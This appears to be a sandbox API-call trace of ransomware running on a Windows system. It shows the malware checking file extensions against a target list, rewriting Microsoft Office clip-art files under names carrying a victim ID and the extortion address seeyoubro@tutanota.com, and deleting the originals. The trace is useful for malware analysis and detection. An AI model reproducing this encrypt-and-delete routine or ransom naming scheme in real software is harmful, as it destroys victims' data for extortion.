lstrlenW (lpString=".dbf") returned 4 [0217.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0217.836] lstrlenW (lpString=".1cd") returned 4 [0217.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0217.836] lstrlenW (lpString=".jpg") returned 4 [0217.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0217.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0217.836] lstrlenW (lpString=".doc") returned 4 [0217.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.836] lstrlenW (lpString=".docx") returned 5 [0217.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.836] lstrlenW (lpString=".pdf") returned 4 [0217.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.836] lstrlenW (lpString=".xls") returned 4 [0217.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.836] lstrlenW (lpString=".xlsx") returned 5 [0217.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.837] lstrlenW (lpString=".ppt") returned 4 [0217.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0217.837] lstrlenW (lpString=".zip") returned 4 [0217.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.837] lstrlenW (lpString=".rar") returned 4 [0217.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.837] lstrlenW (lpString=".bz2") returned 4 [0217.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.837] lstrlenW (lpString=".7z") returned 3 [0217.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0217.837] lstrlenW (lpString=".dbf") returned 4 [0217.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0217.837] lstrlenW (lpString=".1cd") returned 4 [0217.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0217.837] lstrlenW (lpString=".jpg") returned 4 [0217.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.838] GetLastError () returned 0x0 [0217.838] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x600c, lpOverlapped=0x0) returned 1 [0218.300] WriteFile (in: hFile=0x320, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x6010, lpOverlapped=0x0) returned 1 [0218.479] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.479] WriteFile (in: hFile=0x320, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.479] SetEndOfFile (hFile=0x320) returned 1 [0218.479] CloseHandle (hObject=0x320) returned 1 [0218.479] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.479] SetEndOfFile (hFile=0x380) returned 1 [0218.480] CloseHandle (hObject=0x380) returned 1 [0218.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0218.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0218.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0218.481] lstrlenW (lpString=".doc") returned 4 [0218.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.481] lstrlenW (lpString=".docx") returned 5 [0218.481] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.481] lstrlenW (lpString=".pdf") returned 4 [0218.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.481] lstrlenW (lpString=".xls") returned 4 [0218.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.481] lstrlenW (lpString=".xlsx") returned 5 [0218.481] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.481] lstrlenW (lpString=".ppt") returned 4 [0218.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0218.481] lstrlenW (lpString=".zip") returned 4 [0218.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.481] lstrlenW (lpString=".rar") returned 4 [0218.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.481] lstrlenW (lpString=".bz2") returned 4 [0218.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.481] lstrlenW (lpString=".7z") returned 3 [0218.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0218.481] lstrlenW (lpString=".dbf") returned 4 [0218.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0218.481] lstrlenW (lpString=".1cd") returned 4 [0218.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0218.482] lstrlenW (lpString=".jpg") returned 4 [0218.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.490] GetLastError () returned 0x0 [0218.490] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0xadc, lpOverlapped=0x0) returned 1 [0218.671] WriteFile (in: hFile=0x320, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xae0, lpOverlapped=0x0) returned 1 [0218.672] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.672] WriteFile (in: hFile=0x320, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.672] SetEndOfFile (hFile=0x320) returned 1 [0218.691] CloseHandle (hObject=0x320) returned 1 [0218.692] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.692] SetEndOfFile (hFile=0x380) returned 1 [0218.696] CloseHandle (hObject=0x380) returned 1 [0218.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0218.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0218.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0218.697] lstrlenW (lpString=".doc") returned 4 [0218.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.697] lstrlenW (lpString=".docx") returned 5 [0218.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.697] lstrlenW (lpString=".pdf") returned 4 [0218.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.697] lstrlenW (lpString=".xls") returned 4 [0218.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.698] lstrlenW (lpString=".xlsx") returned 5 [0218.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.698] lstrlenW (lpString=".ppt") returned 4 [0218.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0218.698] lstrlenW (lpString=".zip") returned 4 [0218.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.698] lstrlenW (lpString=".rar") returned 4 [0218.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.698] lstrlenW (lpString=".bz2") returned 4 [0218.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.698] lstrlenW (lpString=".7z") returned 3 [0218.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0218.698] lstrlenW (lpString=".dbf") returned 4 [0218.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0218.698] lstrlenW (lpString=".1cd") returned 4 [0218.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0218.698] lstrlenW (lpString=".jpg") returned 4 [0218.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.701] GetLastError () returned 0x0 [0218.701] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0218.710] WriteFile (in: hFile=0x384, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x900, lpOverlapped=0x0) returned 1 [0218.711] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.711] WriteFile (in: hFile=0x384, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.711] SetEndOfFile (hFile=0x384) returned 1 [0218.711] CloseHandle (hObject=0x384) returned 1 [0218.711] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.711] SetEndOfFile (hFile=0x380) returned 1 [0218.712] CloseHandle (hObject=0x380) returned 1 [0218.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0218.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0218.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0218.713] lstrlenW (lpString=".doc") returned 4 [0218.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.713] lstrlenW (lpString=".docx") returned 5 [0218.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.713] lstrlenW (lpString=".pdf") returned 4 [0218.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.713] lstrlenW (lpString=".xls") returned 4 [0218.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.713] lstrlenW (lpString=".xlsx") returned 5 [0218.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.713] lstrlenW (lpString=".ppt") returned 4 [0218.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0218.714] lstrlenW (lpString=".zip") returned 4 [0218.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.714] lstrlenW (lpString=".rar") returned 4 [0218.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.714] lstrlenW (lpString=".bz2") returned 4 [0218.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.714] lstrlenW (lpString=".7z") returned 3 [0218.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0218.714] lstrlenW (lpString=".dbf") returned 4 [0218.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0218.714] lstrlenW (lpString=".1cd") returned 4 [0218.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0218.714] lstrlenW (lpString=".jpg") returned 4 [0218.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.714] GetLastError () returned 0x0 [0218.714] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x820, lpOverlapped=0x0) returned 1 [0218.804] WriteFile (in: hFile=0x384, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x830, lpOverlapped=0x0) returned 1 [0218.805] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.805] WriteFile (in: hFile=0x384, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.805] SetEndOfFile (hFile=0x384) returned 1 [0218.814] CloseHandle (hObject=0x384) returned 1 [0218.815] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.815] SetEndOfFile (hFile=0x380) returned 1 [0218.815] CloseHandle (hObject=0x380) returned 1 [0218.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0218.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0218.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0218.816] lstrlenW (lpString=".doc") returned 4 [0218.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.816] lstrlenW (lpString=".docx") returned 5 [0218.816] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.816] lstrlenW (lpString=".pdf") returned 4 [0218.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.816] lstrlenW (lpString=".xls") returned 4 [0218.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.816] lstrlenW (lpString=".xlsx") returned 5 [0218.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.816] lstrlenW (lpString=".ppt") returned 4 [0218.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0218.816] lstrlenW (lpString=".zip") returned 4 [0218.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.816] lstrlenW (lpString=".rar") returned 4 [0218.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.817] lstrlenW (lpString=".bz2") returned 4 [0218.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.817] lstrlenW (lpString=".7z") returned 3 [0218.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0218.817] lstrlenW (lpString=".dbf") returned 4 [0218.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0218.817] lstrlenW (lpString=".1cd") returned 4 [0218.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0218.817] lstrlenW (lpString=".jpg") returned 4 [0218.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.817] GetLastError () returned 0x0 [0218.817] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x804, lpOverlapped=0x0) returned 1 [0218.829] WriteFile (in: hFile=0x384, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x810, lpOverlapped=0x0) returned 1 [0218.830] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.830] WriteFile (in: hFile=0x384, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.830] SetEndOfFile (hFile=0x384) returned 1 [0218.830] CloseHandle (hObject=0x384) returned 1 [0218.830] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.830] SetEndOfFile (hFile=0x380) returned 1 [0218.831] CloseHandle (hObject=0x380) returned 1 [0218.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0218.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0218.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0218.832] lstrlenW (lpString=".doc") returned 4 [0218.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.832] lstrlenW (lpString=".docx") returned 5 [0218.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.832] lstrlenW (lpString=".pdf") returned 4 [0218.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.832] lstrlenW (lpString=".xls") returned 4 [0218.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.832] lstrlenW (lpString=".xlsx") returned 5 [0218.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.832] lstrlenW (lpString=".ppt") returned 4 [0218.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0218.832] lstrlenW (lpString=".zip") returned 4 [0218.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.832] lstrlenW (lpString=".rar") returned 4 [0218.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.832] lstrlenW (lpString=".bz2") returned 4 [0218.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.834] lstrlenW (lpString=".7z") returned 3 [0218.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0218.834] lstrlenW (lpString=".dbf") returned 4 [0218.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0218.834] lstrlenW (lpString=".1cd") returned 4 [0218.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0218.834] lstrlenW (lpString=".jpg") returned 4 [0218.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.840] GetLastError () returned 0x0 [0218.840] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x760, lpOverlapped=0x0) returned 1 [0218.927] WriteFile (in: hFile=0x35c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x770, lpOverlapped=0x0) returned 1 [0218.929] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.929] WriteFile (in: hFile=0x35c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.930] SetEndOfFile (hFile=0x35c) returned 1 [0218.930] CloseHandle (hObject=0x35c) returned 1 [0218.930] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.930] SetEndOfFile (hFile=0x354) returned 1 [0218.931] CloseHandle (hObject=0x354) returned 1 [0218.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0218.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0218.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0218.932] lstrlenW (lpString=".doc") returned 4 [0218.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.932] lstrlenW (lpString=".docx") returned 5 [0218.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.932] lstrlenW (lpString=".pdf") returned 4 [0218.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.932] lstrlenW (lpString=".xls") returned 4 [0218.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.932] lstrlenW (lpString=".xlsx") returned 5 [0218.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.932] lstrlenW (lpString=".ppt") returned 4 [0218.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0218.932] lstrlenW (lpString=".zip") returned 4 